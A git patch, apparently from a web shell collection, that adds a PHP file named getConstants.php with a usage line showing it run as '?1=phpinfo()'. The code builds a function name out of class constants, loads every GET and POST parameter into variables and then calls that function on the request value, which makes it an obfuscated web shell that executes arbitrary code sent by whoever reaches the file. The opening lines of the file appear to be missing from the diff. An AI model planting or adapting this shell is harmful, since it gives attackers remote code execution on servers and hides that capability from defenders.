From fd35f195c184981222eabd327c3a835eec70e3ca Mon Sep 17 00:00:00 2001 From: tennc <670357+tennc@users.noreply.github.com> Date: Mon, 28 Dec 2020 01:08:19 +0800 Subject: [PATCH] Create getConstants.php use: xxxxxx/getConstants?1=phpinfo() from : https://xz.aliyun.com/t/8684 --- php/getConstants.php | 27 +++++++++++++++++++++++++++ 1 file changed, 27 insertions(+) create mode 100644 php/getConstants.php diff --git a/php/getConstants.php b/php/getConstants.php new file mode 100644 index 0000000..febe4ae --- /dev/null +++ b/php/getConstants.php @@ -0,0 +1,27 @@ +getConstant(chr($i)); + $para2.=$para1; +} + +foreach (array('_POST','_GET') as $_request) { + foreach ($$_request as $_key=>$_value) { + $$_key= $_value; + } +} + +$para2($_value);